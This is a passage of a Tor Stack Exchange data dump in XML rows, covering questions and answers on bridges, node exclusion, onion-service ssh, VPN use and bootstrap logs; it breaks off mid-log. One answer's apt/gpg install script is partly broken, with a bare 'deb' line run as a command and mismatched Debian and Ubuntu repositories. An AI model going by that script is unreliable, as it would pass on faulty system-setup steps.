  <row Id="19993" PostTypeId="2" ParentId="19992" CreationDate="2019-06-24T20:33:09.560" Score="0" Body="&lt;p&gt;Check out &lt;a href=&quot;https://2019.www.torproject.org/docs/bridges&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/docs/bridges&lt;/a&gt; for information on adding bridges&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that particular setting though is specific to the app and may not have a torrc equivalent&lt;/p&gt;&#xA;" OwnerUserId="25283" LastActivityDate="2019-06-24T20:33:09.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19996" PostTypeId="1" AcceptedAnswerId="20015" CreationDate="2019-06-25T15:05:17.193" Score="0" ViewCount="333" Body="&lt;p&gt;I'm trying to upload a twitter header using the Tor browser and I seem to go through the process okay but at the end I'm told I was successful but my header is blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The steps I take are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Go to profile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Click &quot;Edit Profile&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Click &quot;Change your header photo&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Select &quot;Upload Photo&quot; from the drop-down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Select the image I want uploaded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) Click &quot;Apply&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Your header was published successfully&quot; message appears but the image is not there. And when I select &quot;Save Changes&quot; it remains blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen another post about this problem from 2017 (&lt;a href=&quot;https://tor.stackexchange.com/questions/14260/how-to-re-enable-photo-uploading-for-twitter&quot;&gt;Similar Problem&lt;/a&gt;) that suggests the following steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restart Tor Browser -&gt; Login to Twitter -&gt; Upload image -&gt; Choose &quot;Allow in Future&quot; -&gt; Upload image again -&gt; Done&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't see any &quot;Allow in Future&quot; option so am stuck. Does anyone know where this option is or what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="27125" LastActivityDate="2019-08-01T00:01:15.547" Title="Uploading a twitter header in Tor Browser" Tags="|help|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19997" PostTypeId="2" ParentId="13630" CreationDate="2019-06-25T17:05:55.753" Score="2" Body="&lt;p&gt;First about your single relay concern, I'm guessing you're referring to Single Onion Services (shamelessly stolen from &lt;a href=&quot;https://tor.stackexchange.com/users/12737/cacahuatl&quot;&gt;cacahuatl&lt;/a&gt;'s answer to &lt;a href=&quot;https://tor.stackexchange.com/questions/14442/how-can-facebooks-tor-onion-be-constantly-accessible-with-the-massive-bandwidth#14444&quot;&gt;this post&lt;/a&gt; and loosely edited), which are applied&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;where one may not deem it important to hide&#xA;  the location of the server but just want to gain the benefits of an&#xA;  onion service.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And, as it's further explained in the same answer:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If configured, the server will connect directly to the clients offered rendezvous &#xA;  point without building a full circuit first. This helps reduce and latency in the&#xA;  building of the circuit and potential overloading of a chosen guard.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, to wrap it up, let's check your Tor Browser Circuit. Clicking on Show Site Information left of the address bar will display something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cvNQV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cvNQV.jpg&quot; alt=&quot;Tor Browser Onion Circuit check example&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(found at a &lt;a href=&quot;https://www.reddit.com/r/TOR/comments/algw1x/circuit_for_onion_sites_vs_circuit_for_clearnet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;related Reddit thread&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you have it, hope I've helped even after such a long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="21782" LastActivityDate="2019-06-25T17:05:55.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19999" PostTypeId="1" CreationDate="2019-06-27T11:43:01.137" Score="1" ViewCount="720" Body="&lt;p&gt;I want to prevent Tor Browser from connecting to any nodes in a certain country. How do I do so?&lt;/p&gt;&#xA;" OwnerUserId="27213" LastActivityDate="2021-12-18T22:06:40.587" Title="Prevent Tor Browser from connecting to a node in a certain country?" Tags="|tor-browser-bundle|relays|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20000" PostTypeId="2" ParentId="1711" CreationDate="2019-06-27T12:14:02.450" Score="0" Body="&lt;p&gt;Mine is 9150 I think.. I couldn't find it in the torrc defaults file, but I found out by going to the dropdown menu in the upper right corner of the Tor browser. Then in the section &quot;General&quot; (left side), scroll all the way down. There under the tab &quot;Network Proxy&quot; you click on Settings... And there you see the port it is listening to, I think? Or is a &quot;Control port&quot; something different?&lt;/p&gt;&#xA;" OwnerUserId="27214" LastActivityDate="2019-06-27T12:14:02.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20001" PostTypeId="1" CreationDate="2019-06-28T21:56:49.887" Score="0" ViewCount="110" Body="&lt;pre&gt;&lt;code&gt;6/28/19, 21:53:13.840 [NOTICE] Bootstrapped 5%: Connecting to directory server&#xA;6/28/19, 21:53:13.844 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server&#xA;6/28/19, 21:53:15.260 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection&#xA;6/28/19, 21:53:15.517 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus&#xA;6/28/19, 21:53:34.859 [WARN] Proxy Client: unable to connect to 103.196.181.217:443 (&quot;general SOCKS server failure&quot;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27221" LastEditorUserId="5234" LastEditDate="2019-08-07T14:32:34.153" LastActivityDate="2020-12-29T22:04:00.497" Title="What's the problem here?" Tags="|help|connection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20002" PostTypeId="1" AcceptedAnswerId="20011" CreationDate="2019-06-30T12:24:17.597" Score="0" ViewCount="97" Body="&lt;p&gt;I have set up sshd on my box as a hidden service.  I'm wondering if, when I &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torify ssh uname@xxxxxxxxxxxxx.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is the user-name passed in the clear?&lt;/p&gt;&#xA;" OwnerUserId="1064" LastActivityDate="2019-07-01T21:02:31.263" Title="ssh as hidden service - username passed in clear?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20004" PostTypeId="1" CreationDate="2019-07-01T15:10:42.423" Score="0" ViewCount="479" Body="&lt;p&gt;Are any of these credit card sites and cash sites real?&#xA;I'd love to know some of them because I've been scrolling through websites and all I see is scam scam  &lt;/p&gt;&#xA;" OwnerUserId="27236" LastActivityDate="2022-02-07T15:04:30.390" Title="Cash from the dark net?" Tags="|security|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20005" PostTypeId="2" ParentId="15310" CreationDate="2019-07-01T15:49:56.020" Score="10" Body="&lt;p&gt;you can &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-doc-osx.html.en&quot; rel=&quot;noreferrer&quot;&gt;install tor on macos&lt;/a&gt; easily by using &lt;a href=&quot;https://brew.sh/&quot; rel=&quot;noreferrer&quot;&gt;brew&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ brew install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after you install it, you can start the tor service. i took it from the package info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ brew info tor&#xA;...&#xA;To have launchd start tor now and restart at login:&#xA;  brew services start tor&#xA;Or, if you don't want/need a background service you can just run:&#xA;  tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the following should get tor service ready&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ brew services start tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27237" LastActivityDate="2019-07-01T15:49:56.020" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20006" PostTypeId="2" ParentId="19945" CreationDate="2019-07-01T16:43:41.470" Score="1" Body="&lt;p&gt;There is a comment on the Tor blog for June 24, 2019, that indicates that private obfs4 bridges work in China. &lt;a href=&quot;https://blog.torproject.org/tors-new-anti-censorship-team-defending-open-internet&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/tors-new-anti-censorship-team-defending-open-internet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23160" LastActivityDate="2019-07-01T16:43:41.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20007" PostTypeId="2" ParentId="19999" CreationDate="2019-07-01T16:48:14.477" Score="1" Body="&lt;p&gt;Add to your torrc file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExcludeNodes {cc}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replacing cc by the country code you want excluded.&lt;/p&gt;&#xA;" OwnerUserId="23160" LastActivityDate="2019-07-01T16:48:14.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20009" PostTypeId="2" ParentId="20004" CreationDate="2019-07-01T20:55:39.760" Score="0" Body="&lt;p&gt;It's very unlikely that any of them are legitimate and even if they were, you would be committing identity fraud.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-01T20:55:39.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20010" PostTypeId="2" ParentId="17906" CreationDate="2019-07-01T20:58:38.143" Score="1" Body="&lt;p&gt;You can attempt to install the 32-bit version of Tor Browser. If this fails, then there is no other native option with Windows XP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/download/languages/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/languages/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-01T20:58:38.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20011" PostTypeId="2" ParentId="20002" CreationDate="2019-07-01T21:02:31.263" Score="1" Body="&lt;p&gt;No the username will not pass in the clear. From the moment the SSH client uses Tor via torify/torsocks all data is encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify ssh -vv uname@xxxxxxxxxxxxx.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see that a connection is established before the username is tried. If you still feel unsafe, use shared SSH keys instead and run SSH on a non-standard port.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-01T21:02:31.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20014" PostTypeId="2" ParentId="19876" CreationDate="2019-07-01T21:23:49.437" Score="2" Body="&lt;p&gt;Here is how to create your own portable app:&#xA;&lt;a href=&quot;https://www.makeuseof.com/tag/create-portable-app-flash-drive/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.makeuseof.com/tag/create-portable-app-flash-drive/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not tested with Tor, it may break Tor, and it might even completely negate Tor or worse. There is no native &quot;portable apps&quot; version of Tor for Windows. You would be better off using Tails instead. At least that lives on a USB stick.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-01T21:23:49.437" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20015" PostTypeId="2" ParentId="19996" CreationDate="2019-07-01T22:00:09.350" Score="0" Body="&lt;p&gt;I attempted the same and received with the same result with the normal and mobile versions and with and without NoScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks to be a bug, on the side of Twitter or Tor Browser, I can't tell. It is possible that twitter is just not allowing this to happen when you connect via Tor.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-07-01T22:00:09.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20016" PostTypeId="2" ParentId="2066" CreationDate="2019-07-02T00:02:14.137" Score="0" Body="&lt;p&gt;If your current hosting provider offers a shell, then you can install tor there using something like Homebrew (which now includes Linuxbrew).  Assuming your website has its own IP (it's not name-based shared hosting), you can set up a hidden service that points at your IP/port.  Then your whole website will be available through tor.&lt;/p&gt;&#xA;" OwnerUserId="1064" LastActivityDate="2019-07-02T00:02:14.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20019" PostTypeId="2" ParentId="20001" CreationDate="2019-07-02T23:53:54.077" Score="1" Body="&lt;p&gt;That log shows that Tor couldn't connect to one of the Proxy clients. If that's the last message that you got, then the issue is pretty &lt;em&gt;minor&lt;/em&gt;. One of the many proxies are unavailable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply try to connect again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're behind a filtered network, try rotating bridges by clicking on the button that says &quot;Configure Tor&quot;, and choosing a bridge from the list. Then try to connect.&lt;/p&gt;&#xA;" OwnerUserId="27247" LastActivityDate="2019-07-02T23:53:54.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20020" PostTypeId="1" CreationDate="2019-07-03T06:24:10.937" Score="1" ViewCount="168" Body="&lt;p&gt;I use orbot on my android device. Unlike for the tor browser, I could not find anywhere what is the current identity I use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a button or any UI to show what is the current identity being used, like for the tor browser?&lt;/p&gt;&#xA;" OwnerUserId="27248" LastActivityDate="2019-07-03T06:24:10.937" Title="Orbot: Check what is my current circuit" Tags="|orbot|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20021" PostTypeId="2" ParentId="19876" CreationDate="2019-07-03T10:20:32.963" Score="0" Body="&lt;p&gt;If you were using Linux or OSX, I would try using the Homebrew package manager, with its root on your USB.  Since it's Windows (you might have made that clearer in your question), there are two approaches I'd try.  First, you might install &lt;a href=&quot;https://cygwin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cygwin&lt;/a&gt;, putting the root directory on your USB.  What Cygwin does is to create an overlay that allows linux to talk to Windows.  You are also getting access to a &lt;a href=&quot;https://hackernoon.com/why-windows-needs-a-package-manager-3868cffdec24&quot; rel=&quot;nofollow noreferrer&quot;&gt;package manager&lt;/a&gt;, which Windows is lacking and which will allow you to install tor and then help you keep it up-to-date.  I'm not 100% clear on what Cygwin needs to do to integrate itself with Windows, and how dependent that is on the Windows version, but it might work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be other package managers for Windows that might do the job.  I did a quick search and came across &lt;a href=&quot;https://chocolatey.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chocolatey&lt;/a&gt;.  See if it has the tor package.  There are probably others.  You might experiment to see if any of them will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really the easiest thing to do would be just to install linux to the USB - Ubuntu Mate is quite straightforward and lightweight - and then you can run tor in that OS.  &lt;/p&gt;&#xA;" OwnerUserId="1064" LastEditorUserId="1064" LastEditDate="2019-07-03T10:52:17.617" LastActivityDate="2019-07-03T10:52:17.617" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20022" PostTypeId="1" AcceptedAnswerId="20033" CreationDate="2019-07-03T14:57:04.703" Score="2" ViewCount="951" Body="&lt;p&gt;What are the pros/cons/necessity/redundancy for utilizing a VPN on top of TOR if hosting a hidden service?&lt;/p&gt;&#xA;&lt;p&gt;I'm aware of the obvious concerns regarding logging if using a commercial VPN service, but if you utilized a service that &lt;em&gt;doesn't&lt;/em&gt; log IPs (or other data) would it be beneficial or is it redundant with regards to anonymity?&lt;/p&gt;&#xA;" OwnerUserId="27245" LastEditorUserId="27245" LastEditDate="2023-01-05T23:44:35.173" LastActivityDate="2023-01-05T23:44:35.173" Title="VPN necessity for hosting a hidden service &amp; maintaining anonymity?" Tags="|anonymity|bridge|vpn|vps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20024" PostTypeId="2" ParentId="20004" CreationDate="2019-07-04T05:54:41.913" Score="0" Body="&lt;p&gt;I'm not too sure what type of site your referring to. Not all are scams but as a rule if you look at a site and think it's a scam then go with that first reaction.... there is/are a  few sites where you can purchase points, play games, and win cash prizes that might seem like scams, but they are legit as far as a transaction goes.&lt;/p&gt;&#xA;" OwnerUserId="27257" LastEditorUserId="14997" LastEditDate="2021-08-31T15:53:04.360" LastActivityDate="2021-08-31T15:53:04.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20028" PostTypeId="1" CreationDate="2019-07-05T09:19:37.273" Score="3" ViewCount="271" Body="&lt;p&gt;I want to host multiple hidden services but I need it in a way that people cannot find out that they are all hosted on the same server. How could I do this?&lt;/p&gt;&#xA;" OwnerUserId="27270" LastEditorUserId="14997" LastEditDate="2019-08-07T14:32:13.133" LastActivityDate="2020-12-30T01:05:15.443" Title="Can I run multiple hidden services without anyone knowing they are hosted on the same server?" Tags="|onion-services|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20029" PostTypeId="1" CreationDate="2019-07-06T10:34:46.837" Score="5" ViewCount="6029" Body="&lt;p&gt;I am using Tor Browser on Lunx Mint 19.1. In the beginning it worked seamlessly, but in the last few days it took several minutes to start up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand it better I started 'torbrowser-launcher' from the console. Apparently startup is so slow, because it takes several minutes to refresh the local GPG keyring. The same behaviour occurs when I call 'gpg --refresh-keys'. Other keys are refrshed quickly, but refreshing the Tor Browser Developers' key takes a very long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do about this? &lt;/p&gt;&#xA;" OwnerUserId="27271" LastActivityDate="2019-08-07T18:42:36.573" Title="Tor Browser launching very slowly" Tags="|linux|ubuntu|startup|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20030" PostTypeId="2" ParentId="20029" CreationDate="2019-07-06T11:30:54.127" Score="2" Body="&lt;p&gt;Welcome to StackExchange! Based on the question from my understanding the application is slow because the gpg keyring is not connecting to a tor relay if I understand correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple factors that can cause the keyring to not be responsive though most of them may be out of your control. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start off with the more basic problems, are you sure that nothing is blocking your connection to the torprojects entrance node? such as a firewall rule, VPN, DNS filter, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can check the status of all the tor relay nodes with &lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;, you may be entering through a bad node if so reset your connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is none of the above it may be a problem associated with where the key is trying to connect, You can manually install the tor browsers repository straight from the website, here's a quick script that can do that automatically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;deb https://deb.torproject.org/torproject.org stretch main&quot; | sudo tee -a /etc/apt/sources.list&#xA;echo &quot;deb-src https://deb.torproject.org/torproject.org stretch main&quot; | sudo tee -a /etc/apt/sources.list&#xA;sudo add-apt-repository ppa:webupd8team/tor-browser -y &#xA;sudo apt-get install tor-browser -y &#xA;apt install torsocks&#xA;apt install tor-geoipdb&#xA;deb https://deb.torproject.org/torproject.org $V main&#xA;gpg --keyserver keys.gnupg.net --recv 886DDD89&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;apt-get install deb.torproject.org-keyring&#xA;apt install tor -y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after this has been executed it should work back to normal, I hope this may help you.&lt;/p&gt;&#xA;" OwnerUserId="27272" LastEditorUserId="5234" LastEditDate="2019-08-07T18:42:36.573" LastActivityDate="2019-08-07T18:42:36.573" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20033" PostTypeId="2" ParentId="20022" CreationDate="2019-07-07T09:33:33.960" Score="1" Body="&lt;p&gt;I'll make it short and easy:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a VPN does &lt;strong&gt;nothing&lt;/strong&gt; conducive to anonymity (it is neither &lt;em&gt;beneficial nor redundant regarding to anonymity&lt;/em&gt;): &lt;a href=&quot;https://www.torproject.org/docs/faq#IsTorLikeAVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/docs/faq#IsTorLikeAVPN&lt;/a&gt;&lt;br&gt;&#xA;Easily explained for casual users: It just makes it seem you are entering &quot;the network&quot; from a different place/country... and depending on your setup (&lt;code&gt;VPN -&amp;gt; Tor&lt;/code&gt; vs. &lt;code&gt;Tor -&amp;gt; VPN&lt;/code&gt;) this is in the best case useless or in the worst case can actually harm your anonymity!&lt;/li&gt;&#xA;&lt;li&gt;a VPN somehow just replaces your ISP regarding trust... if you distrust your ISP, why should you trust your VPN provider? (E.g. logging)&lt;/li&gt;&#xA;&lt;li&gt;By &lt;a href=&quot;https://www.torproject.org/docs/bridges.html#UsingBridges&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;using bridges&lt;/strong&gt;&lt;/a&gt; instead, you don't need to trust anyone (except the Tor code, which you obviously do).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note: All of this is also true, no matter if you are hosting a hidden service, providing a relay, just surfing or entering any other network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional an interesting and deeper article about combining Tor:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Tunnels/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.whonix.org/wiki/Tunnels/Introduction&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2019-09-01T12:29:06.927" LastActivityDate="2019-09-01T12:29:06.927" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20034" PostTypeId="1" CreationDate="2019-07-07T10:12:25.910" Score="3" ViewCount="164" Body="&lt;p&gt;Why does the yellow banner 'Maximizing Tor Browser can allow websites to determine you monitor size, which can be used to track you...' show up even when the security level is 'Safest' in Tor Browser? This disables javascript, and as a consequence panopticlick.eff.org suggests the size of my monitor cannot be determined.&lt;/p&gt;&#xA;" OwnerUserId="27277" LastActivityDate="2019-07-22T06:09:36.223" Title="Tor Browser windows' size when Safest security level?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="2" ClosedDate="2019-08-07T14:26:13.733" ContentLicense="CC BY-SA 4.0" />
  <row Id="20038" PostTypeId="2" ParentId="19876" CreationDate="2019-07-09T12:47:38.283" Score="0" Body="&lt;p&gt;I SOLVED my problem. First off, I have Brave browser wich has Tor in incognito, but this way it doesnt save history. I came across a chrome addon &quot;onion browser button&quot; and downloaded &quot;Advanced Onion router&quot; program. now I can access tor sites right in my portable browser.&lt;/p&gt;&#xA;" OwnerUserId="26967" LastActivityDate="2019-07-09T12:47:38.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20043" PostTypeId="1" CreationDate="2019-07-10T14:26:23.407" Score="0" ViewCount="1309" Body="&lt;p&gt;Where can I find the Wiki that includes the latest addresses for websites?&lt;/p&gt;&#xA;" OwnerUserId="27298" LastActivityDate="2019-07-22T10:33:38.510" Title="Where can I find the latest URLs on Tor?" Tags="|url|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2019-08-08T15:39:06.260" ContentLicense="CC BY-SA 4.0" />
  <row Id="20044" PostTypeId="1" CreationDate="2019-07-11T02:12:50.047" Score="1" ViewCount="3005" Body="&lt;p&gt;Using the Tor browser bundle, I can't connect to Tor at the Port Angeles, Washington library. I have tried all the connection options including requesting some bridges. When trying to connect, the progress bar just hangs and nothing happens even after several minutes. My log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7/11/19, 01:50:29.837 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/11/19, 01:50:29.837 [NOTICE] Switching to guard context &quot;bridges&quot; (was using &quot;default&quot;) &#xA;7/11/19, 01:50:29.837 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/11/19, 01:50:29.837 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;7/11/19, 01:50:29.837 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;7/11/19, 01:50:29.837 [NOTICE] Opened Socks listener on 127.0.0.1:9150 &#xA;7/11/19, 01:50:29.837 [NOTICE] Renaming old configuration file to &quot;/home/q/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc.orig.1&quot; &#xA;7/11/19, 01:50:30.817 [NOTICE] Bootstrapped 1% (conn_pt): Connecting to pluggable transport &#xA;7/11/19, 01:50:30.822 [NOTICE] Bootstrapped 2% (conn_done_pt): Connected to pluggable transport &#xA;7/11/19, 01:50:31.359 [NOTICE] Bootstrapped 10% (conn_done): Connected to a relay &#xA;7/11/19, 01:50:31.868 [NOTICE] Bootstrapped 14% (handshake): Handshaking with a relay &#xA;7/11/19, 01:50:32.179 [NOTICE] Bootstrapped 15% (handshake_done): Handshake with a relay done &#xA;7/11/19, 01:50:32.182 [NOTICE] Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection &#xA;7/11/19, 01:50:32.484 [NOTICE] Bootstrapped 25% (requesting_status): Asking for networkstatus consensus &#xA;7/11/19, 01:50:32.795 [NOTICE] Bridge 'Unnamed' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (146.196.65.18:443) based on the configured Bridge address. &#xA;7/11/19, 01:50:32.795 [NOTICE] new bridge descriptor 'Unnamed' (fresh): $642201EDF4BF5E3898E4F34B930032B00E3BA27C~Unnamed at 146.196.65.18 &#xA;7/11/19, 01:50:33.238 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:34.241 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:35.246 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:36.250 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:37.254 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:38.258 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:39.550 [NOTICE] Bootstrapped 30% (loading_status): Loading networkstatus consensus &#xA;7/11/19, 01:50:41.292 [WARN] Proxy Client: unable to connect to 92.236.245.23:45877 (&quot;general SOCKS server failure&quot;) &#xA;7/11/19, 01:50:43.258 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;7/11/19, 01:50:43.465 [NOTICE] Bootstrapped 40% (loading_keys): Loading authority key certs &#xA;7/11/19, 01:50:43.660 [NOTICE] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services. &#xA;7/11/19, 01:50:43.661 [NOTICE] Bootstrapped 45% (requesting_descriptors): Asking for relay descriptors &#xA;7/11/19, 01:50:43.664 [NOTICE] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6470, and can only build 0% of likely paths. (We have 100% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.) &#xA;7/11/19, 01:50:43.664 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:43.664 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:43.664 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:43.664 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:43.664 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:44.170 [NOTICE] Bootstrapped 50% (loading_descriptors): Loading relay descriptors &#xA;7/11/19, 01:50:44.827 [NOTICE] The current consensus contains exit nodes. Tor can build exit and internal paths. &#xA;7/11/19, 01:50:44.827 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:44.827 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:44.827 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 01:50:44.827 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;7/11/19, 